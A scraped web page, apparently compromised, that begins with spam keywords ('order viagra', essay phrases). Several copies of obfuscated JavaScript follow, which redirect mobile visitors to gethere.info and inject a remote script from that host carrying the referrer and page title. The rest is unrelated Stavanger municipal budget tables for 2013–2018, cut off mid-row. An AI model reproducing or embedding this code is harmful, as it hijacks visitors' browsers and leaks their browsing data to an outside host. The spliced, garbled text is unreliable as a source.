how to write a proper compare and contrast essay
order viagra an example of a tragic herovar _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xb322=[«\x73\x63\x72\x69\x70\x74″,»\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,»\x73\x72\x63″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D»,»\x72\x65\x66\x65\x72\x72\x65\x72″,»\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D»,»\x74\x69\x74\x6C\x65″,»\x26″,»\x3F»,»\x72\x65\x70\x6C\x61\x63\x65″,»\x73\x65\x61\x72\x63\x68″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»,»\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,»\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,»\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,»\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,»\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,»\x68\x65\x61\x64″,»\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,»\x70\x72\x6F\x74\x6F\x63\x6F\x6C»,»\x68\x74\x74\x70\x73\x3A»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x52\x5F\x50\x41\x54\x48″,»\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E»];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
Tall i hele tusen
Hovedoversikt – drift Regnskap 2013 Budsjett 2014 Budsjett 2015 Budsjett 2016 Budsjett 2017 Budsjett 2018 Driftsinntekter Brukerbetalinger 420 401 429 980 449 051 448 751 448 751 448 751 Andre salgs- og leieinntekter 780 808 765 243 787 056 813 303 843 062 869 021 Overføringer med krav til motytelse 896 455 700 904 647 174 647 174 647 174 647 174 Rammetilskudd 1 495 453 1 659 991 1 606 300 1 640 500 1 656 700 1 672 500 Andre statlige overføringer 134 134 142 592 126 983 125 933 124 033 124 033 Andre overføringer 21 473 50 005 16 044 16 044 16 044 16 044 Skatt på inntekt og formue 4 753 061 4 771 900 4 989 800 5 084 800 5 143 000 5 218 800 Eiendomsskatt 159 315 160 000 275 000 288 000 302 800 302 800 Sum driftsinntekter 8 661 101 8 680 615 8 897 408 9 064 505 9 181 564 9 299 123 Driftsutgifter Lønnsutgifter 3 712 258 3 804 694 3 666 251 3 674 429 3 694 612 3 698 126 Sosiale utgifter 974 009 1 095 170 1 077 033 1 086 155 1 091 572 1 092 258 Kjøp av varer og tj som inngår i tj.produksjon 1 028 818 1 393 169 1 399 216 1 439 640 1 496 158 1 500 026 Kjøp av tjenester som erstatter tj.produksjon 1 766 005 1 753 546 1 731 303 1 755 627 1 769 822 1 790 509 Overføringer 896 967 940 608 1 123 678 1 108 478 1 079 488 1 079 258 Avskrivninger 435 134 440 775 447 648 450 569 453 434 456 247 Fordelte utgifter -79 171 -441 933 -442 459 -442 459 −442 459 −442 459 Sum driftsutgifter 8 734 020 8 986 029 9 002 670 9 072 439 9 142 627 9 173 965 Brutto driftsresultat -72 919 -305 414 -105 262 -7 934 38 937 125 158 Finansinntekter Renteinntekter og utbytte 394 953 385 785 387 988 427 579 427 879 461 420 Gevinst på finansielle instrumenter (omløpsmidler) 23 257 - - - - - Mottatte avdrag på utlån 1 280 1 361 1 361 1 361 1 361 1 361 Sum eksterne finansinntekter 419 490 387 146 389 349 428 940 429 240 462 781 Finansutgifter Renteutgifter og låneomkostninger 264 870 295 856 303 042 337 223 327 235 354 905 Tap på finansielle instrumenter (omløpsmidler) 1 992 - - - - - Avdrag på lån 353 032 376 410 323 699 345 276 340 860 346 129 Utlån 1 370 1 230 1 230 1 230 1 230 1 230 Sum eksterne finansutgifter 621 264 673 496 627 971 683 729 669 325 702 264 Resultat eksterne finanstransaksjoner -201 774 -286 350 -238 622 -254 789 -240 085 -239 483 Motpost avskrivninger 435 134 440 775 447 648 450 569 453 434 456 247 Netto driftsresultat 160 441 -150 989 103 764 187 846 252 286 341 922 Interne finanstransaksjoner Bruk av tidligere års regnsk.m. mindreforbruk 15 506 7 763 - - - - Bruk av disposisjonsfond 77 015 92 201 - - - - Bruk av bundne fond 85 091 87 228 15 656 12 842 5 221 4 900 Sum bruk av avsetninger 177 613 187 192 15 656 12 842 5 221 4 900 Overført til investeringsregnskapet 143 418 1 197 119 420 200 688 257 507 346 822 Dekning av tidligere års regnsk.m. merforbruk - - - - - - Avsatt til disposisjonsfond 106 336 35 006 - - - - Avsatt til bundne fond 80 537 - - - - - Sum avsetninger 330 291 36 203 119 420 200 688 257 507 346 822 Regnskapsmessig mer-/mindreforbruk 7 763 - - - - -
Last ned tabelldata (Excel)
Budsjettskjema 1A – drift Regnskap 2013 Budsjett 2014 Budsjett 2015 Budsjett 2016 Budsjett 2017 Budsjett 2018 Skatt på inntekt og formue 4 753 061 4 771 900 4 989 800 5 084 800 5 143 000 5 218 800 Ordinært rammetilskudd 1 495 453 1 659 991 1 606 300 1 640 500 1 656 700 1 672 500 Skatt på eiendom 159 315 160 000 275 000 288 000 302 800 302 800 Andre direkte eller indirekte skatter - - - - - - Andre generelle statstilskudd 134 134 142 592 126 983 125 933 124 033 124 033 Sum frie disponible inntekter 6 541 964 6 734 483 6 998 083 7 139 233 7 226 533 7 318 133 Renteinntekter og utbytte 394 953 385 785 387 988 427 579 427 879 461 420 Gevinst finansielle instrumenter (omløpsmidler) 23 257 - - - - - Renteutg.,provisjoner og andre fin.utg. 264 870 295 856 303 042 337 223 327 235 354 905 Tap finansielle instrumenter (omløpsmidler) 1 992 - - - - - Avdrag på lån 353 032 376 410 323 699 345 276 340 860 346 129 Netto finansinnt./utg. −201 684 −286 481 −238 753 −254 920 −240 216 −239 614 Til dekning av tidligere regnsk.m. merforbruk - - - - - - Til ubundne avsetninger 106 336 35 006 - - - - Til bundne avsetninger 80 537 - - - - - Bruk av tidligere regnks.m. mindreforbruk 15 506 7 763 - - - - Bruk av ubundne avsetninger 77 015 92 201 - - - - Bruk av bundne avsetninger 85 091 87 228 15 656 12 842 5 221 4 900 Netto avsetninger -9 260 152 186 15 656 12 842 5 221 4 900 Overført til investeringsbudsjettet 143 418 1 197 119 420 200 688 257 507 346 822 Til fordeling drift 6 187 601 6 598 991 6 655 566 6 696 467 6 734 031 6 736 597 Sum fordelt til drift (fra skjema 1B) 6 179 839 6 598 991 6 655 566 6 696 467 6 734 031 6 736 597 Mer/mindreforbruk 7 762 - - - - -
Last ned tabelldata (Excel)
Budsjettskjema 1b - netto drift
Tall i hele tusenVedtatt budsjett 2014 Vedtatt budsjett 2015 Vedtatt budsjett 2016 Vedtatt budsjett 2017 Vedtatt budsjett 2018 Rådmann, stab og støttefunksjoner Rådmann 9 247 9 247 9 247 9 247 9 247 Økonomi 153 528 145 728 145 728 145 728 145 728 Personal og organisasjon 124 368 114 518 113 368 113 368 113 368 Kommunikasjonsavdeling 7 122 7 522 7 522 7 522 7 522 Næring 5 233 6 983 6 733 6 733 6 733 Kommuneadvokat 6 721 7 021 7 021 7 021 7 021 Politisk sekretariat 11 331 11 131 11 131 11 131 11 131 Sum Rådmann, stab og støttefunksjoner 317 550 302 150 300 750 300 750 300 750 Oppvekst og levekår Stab Oppvekst og levekår 66 896 66 096 66 096 66 096 66 096 Barnehage 1 050 358 1 029 991 1 023 991 1 017 991 1 013 991 Ressurssenter for styrket barnehagetilbud 54 610 1 309 717 1 287 067 1 286 767 1 286 767 Grunnskole 1 340 542 106 626 107 926 107 926 107 926 Johannes læringssenter 100 326 32 210 32 210 32 210 32 210 Stavanger kulturskole 35 010 38 423 38 423 38 423 38 423 Pedagogisk-psykologisk tjeneste 39 473 61 010 60 610 60 610 60 610 Ungdom og fritid 70 602 68 902 69 402 68 902 68 902 Helsestasjon og skolehelsetjenesten 64 048 62 198 62 198 62 198 62 198 Helse- og sosialkontor 1 561 814 1 538 839 1 511 039 1 511 039 1 511 039 NAV 196 929 217 729 216 329 216 329 216 329 Fysio- og ergoterapitjenesten 57 106 54 726 54 726 54 726 54 726 Barnevernstjenesten 194 868 201 218 201 218 201 218 201 218 Helsehuset i Stavanger 11 814 150 672 165 872 170 972 174 472 Hjemmebaserte tjenester 143 362 102 036 126 086 132 386 132 386 Alders- og sykehjem 97 986 30 025 30 025 30 025 30 025 Stavanger legevakt 33 125 40 277 40 277 40 277 40 277 Rehabiliteringsseksjonen 44 577 11 819 11 819 11 819 11 819 Arbeidstreningsseksjonen 12 269 8 509 8 509 8 509 8 509 Flyktningseksjonen 8 509 9 600 9 600 9 600 9 600 EMbo 9 800 113 913 150 713 150 713 150 713 Dagsenter og avlastningsseksjonen 94 488 1 312 1 312 1 312 1 312 Tekniske hjemmetjenester 1 312 11 192 11 192 11 192 11 192 Krisesenteret i Stavanger 10 892 12 314 13 314 14 314 14 314 Sentrale midler levekår 77 429 -51 071 -51 071 -51 071 -51 071 Sentrale midler legetjeneste 61 071 61 821 62 821 63 821 63 821 Sum Oppvekst og levekår 5 439 216 5 290 104 5 311 704 5 318 304 5 317 804 Bymiljø og utbygging Stab Bymiljø og utbygging 4 790 4 690 4 690 4 690 4 690 Miljø 4 549 4 549 4 549 4 549 4 549 utbygging 4 169 -2 881 -2 581 -2 581 -2 581 Stavanger Eiendom -279 492 -288 592 -264 792 -218 892 -201 392 Park og vei 147 302 138 202 140 852 142 552 145 252 Idrett 110 455 116 055 122 355 121 205 120 955 Vannverket - - - - - Avløpsverket -9 195 -9 681 -9 195 -9 195 -9 195 Renovasjon 140 140 140 140 140 Plan og anlegg - - - - - Sum Bymiljø og utbygging -17 282 -37 518 -3 982 42 468 62 418 Kultur og byutvikling Stab Kultur og byutvikling 17 920 17 920 17 920 17 920 17 920 Byggesaksavdelingen - - 7 500 10 000 - Planavdelinger 29 222 27 622 27 122 27 122 27 122 Kulturavdelingen 145 428 148 458 148 458 148 308 148 408 Sum Kultur og byutvikling 192 570 194 000 201 000 203 350 193 450 Felles kostnader 666 937 906 830 886 995 869 159 862 175 Sum drift 6 598 991 6 655 566 6 696 467 6 734 031 6 736 597 Sum fordelt til drift -6 598 991 -6 655 566 -6 696 467 -6 734 031 -6 736 597 Sum totalt - - - - -
Last ned tabelldata (Excel)
Nr Driftsrammetabell 2015 til 2018 - alle tiltak Opprinnelig budsjett 2014 2015 2016 2017 2018 Frie inntekter 1 Formue-/inntektsskatt −5 147 900 −4 986 900 −5 053 000 −5 126 100 −5 201 900 ENDR Endring skatteinngang 14 000 −14 900 2 Innbyggertilskudd inkl. utgiftsutjevning −2 576 191 −2 561 000 −2 607 900 −2 638 000 −2 668 400 3 Inntektsutjevning 1 105 200 954 700 967 400 981 300 995 900 ENDR Økt ramme fra statsbudsjettet (frie inntekter) −16 900 −16 900 −16 900 −16 900 Sum frie inntekter −6 618 891 −6 596 100 −6 725 300 −6 799 700 −6 891 300 Sentrale inntekter 4 Eiendomsskatt (netto) −134 000 −135 000 −148 000 −162 800 −162 800 ENDR Økning i eiendomsskatt −90 000 −90 000 −90 000 −90 000 5 Statlige overføringer, flyktninger og innvandrere −85 000 −83 600 −83 600 −83 600 −83 600 6 Kompensasjonsordninger fra Husbanken −35 200 −34 950 −33 900 −32 000 −32 000 Sum sentrale inntekter −254 200 −343 550 −355 500 −368 400 −368 400 Finans 7 Lyse Energi AS, utbytte -175 000 -179 000 -190 000 −201 000 −212 000 8 SF Kino Stavanger/Sandnes AS, utbytte -2 000 -2 000 -2 000 −2 000 −2 000 9 Renovasjonen IKS, utbytte -500 -1 000 -1 000 −1 000 −1 000 10 Motpost avskrivinger inkl. renter restkapital, VAR sektor -93 132 -100 879 -103 800 −106 665 −109 478 11 Lyse Energi AS, renteinntekter - ansvarlig lån -43 000 -39 300 -40 200 -40 800 -41 300 ENDR Forus Næringspark, renter og avdrag - ansvarlig lån -7 500 -7 500 -7 500 -7 500 12 Renteinntekter bank og finansforvaltning -39 850 -33 450 -40 200 -41 950 -43 700 13 Rentekostnader gjeldslån, renteswap og startlån 166 211 178 722 192 307 196 772 205 835 ENDR Endring rentekostnader -1 419 -1 764 -3 167 -4 851 14 Avdragsutgifter (investeringslån) 365 199 325 900 347 800 345 000 352 000 ENDR Endring avdragsutgifter -2 201 -2 524 -4 140 -5 871 Sum finans 177 928 137 873 151 119 133 550 130 135 Overføring til investering 15 Egenfinansiering av investeringer 72 898 104 400 190 000 209 000 294 900 ENDR Endring egenfinansiering av investeringer 15 020 10 688 48 507 51 922 Sum overføring til investering 72 898 119 420 200 688 257 507 346 822 Sentrale utgifter 16 Helårseffekt lønnsoppgjør 2014 105 000 211 350 211 850 211 850 211 850 17 Lønnsoppgjør 2015 - 95 000 95 000 95 000 95 000 ENDR Reduksjon av felleskostnader/sentrale utgifter -1 000 -1 000 -1 000 -1 000 18 Pensjon 174 000 190 000 195 000 195 000 195 000 19 Ordinær reservekonto og næring/kulturfondet 7 200 7 200 7 200 7 200 7 200 20 Folkevalgte 47 000 49 500 49 500 49 500 49 500 ENDR Reduksjon av posten til folkevalgte -1 000 -1 000 -1 000 -1 000 21 Hovedtillitsvalgte 9 200 10 750 10 750 10 750 10 750 22 Kirkelig fellesråd 76 400 79 550 79 550 79 550 79 550 23 Tilskudd livssynssamfunn 10 300 12 000 12 000 12 000 12 000 24 Revisjon og kontrollutvalg 5 200 5 300 5 300 5 300 5 300 25 Felleskostnader 63 242 66 400 66 400 66 400 66 400 26 Valg - 6 000 - 6 000 - Sum sentrale utgifter 497 542 731 050 730 550 736 550 730 550 Sum netto utgifter 748 368 988 343 1 082 357 1 127 607 1 207 507 Tilskudd regionale prosjekter 27 Brannvesenet Sør-Rogaland IKS 106 140 109 250 112 500 115 850 119 300 28 Greater Stavanger 7 775 7 850 7 850 7 850 7 850 29 Stavanger konserthus IKS (kapitalkostnader og drift) 32 900 45 200 45 950 46 550 47 050 30 Sørmarka flerbrukshall IKS 15 000 13 300 13 300 12 700 11 900 31 Multihallen og 